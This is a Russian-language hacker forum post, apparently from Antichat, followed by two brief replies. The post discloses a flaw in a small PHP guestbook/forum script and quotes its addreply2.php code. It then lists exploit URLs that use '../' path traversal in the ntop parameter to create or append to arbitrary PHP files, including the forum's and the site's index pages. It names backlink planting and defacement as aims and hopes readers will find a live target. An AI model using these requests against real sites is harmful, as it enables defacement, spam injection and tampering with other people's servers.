Не совсем стандартная бага и таких примеров маловато.. Пусть будет здесь. Налетел абсолютно случайно на скрипт, который лежит здесь: http://newscript.ru/?q=taxonomy/term/75&page=1 Поставил... Вот типа такой борды-гостевой-форума человеку и надо было. Прикрутили диз, всё замечательно. Но душе хотелось романтики =) Полезли в исходник. Собственно, ничего сложного там нет. Остановимся на addreply2.php. PHP: <?php .... function u($urlz){ $urlz=str_replace("<","<",$urlz); $urlz=str_replace(">",">",$urlz); $urlz=str_replace("\"","",$urlz); $urlz=str_replace("\n","",$urlz); $urlz=str_replace("\r","",$urlz); $urlz=str_replace(" "," ",$urlz); $urlz=str_replace("***","фиг",$urlz); $urlz=str_replace("блядь","блин",$urlz); $urlz=str_replace("****","собака",$urlz); $urlz=str_replace("мудак","дурак",$urlz); $urlz=str_replace("мадазвон","сволочь",$urlz); $urlz=str_replace("пиздец","копец",$urlz); $urlz=str_replace("мудаки","дураки",$urlz); $urlz=str_replace("JockeR","JokeR",$urlz); $urlz=str_replace("jocker","joker",$urlz); $urlz=str_replace("jockeR","joker",$urlz); $urlz=str_replace("заебал","задолбал",$urlz); return $urlz; } ... $ind=fopen("data/$ntop.php","a+"); ... if($urlz==""){ $si="no url"; }else{ $si="<a href=\\\"".u($urlz)."\\\">".u($urlz)."</a>"; } ... $rind="<? echo\" <table border=\\\"\$border\\\" bgcolor=\\\"\$tablebg\\\" width=\\\"700\\\"> <tr><td bgcolor=\\\"#C0C0C0\\\">От: $pis Сайт: $si<br>Тема: Re:$topicz <br>Сообщение:<br><font color=\\\"#FFFFFF\\\">".mm($mess)."</font></td></tr> <tr><td background=\\\"img/zag.jpg\\\"><font color=\\\"#FFFFFF\\\"><p align=\\\"center\\\"><a href=\\\"$dirfor/addreply.php?top=$topicz&ntop=$ntop\\\">ОТВЕТ</a></p></font></td></tr> </table> \"; ?> "; fwrite($ind,$rind); .. ?> Кто по коду всё понял - молодцы, закрываем страницу. Остальные читаем дальше. Этот скрипт используется когда оставляют пост. Скрипт не использует базу и все мессаги хранятся в php-файлах, которые подключаются непосредственно при просмотре. Так вот когда человек делает пост, скрипт его сохраняет под номером в каталоге data. Номер поста определяется переменной $ntop, которая передается в GET. Кстати, для работы скрипта необходимо register_globals = On в php.ini. Естественно никаких проверок $ntop нет. Поэтому тут мы можем немного пофокусничать. Code: http://sire.ru/z-forum/addreply2.php?ntop=999999&urlz=http://ya.ru Создаст файл 999999.php в каталоге data. Code: http://site.ru/z-forum/addreply2.php?ntop=../999999&urlz=http://ya.ru Создаст наш файл в каталоге выше.. Code: http://site.ru/z-forum/addreply2.php?ntop=../index&urlz=http://ya.ru Допишет индексовый файл форума.. Code: http://site.ru/z-forum/addreply2.php?ntop=../../index&urlz=http://ya.ru Допишет индексовую страничку сайта =))) Резонный вопрос, почему я использую вторую переменную $urlz ?? Потому во всех полях достаточно твердая фильтрация, а используя $urlz теоритически могу беклинков на свой сайт понаоставлять, на любой странице сайта где расположен уязвимый скрипт, а при удачном стечении обстоятельств и сервера Если есть права, то можно дописать в любой файл на ФС сервера с расширением php. %00 на подопытном сервере не прокатило. Естественно, так можно и сайт задефейсить и просто испортить ему фейс неосторожной вставкой в файлы шаблона PS. Живых сайтов для примера в гугле не отыскалось, домашняя страница автора тоже приказала долго жить. А вдруг кому попадется. (с) Antichat.ru
один вопрос, зачем именно определенную борду делать в одной теме, я понимаю обощить, а так только форум засирать, а так +
А нафиг вообще темы?? А нафиг вообще посты?? А нафиг вообще форумы?? Давай всё одним текстовиком выкладывать будем, всё в куче, чтоб ничего не засирать. Всё на своих местах. PS. Модераторы, снесите пожайлуста дубликат темы, случайно, пока сайт под ДДОСом лежал. Спасибо.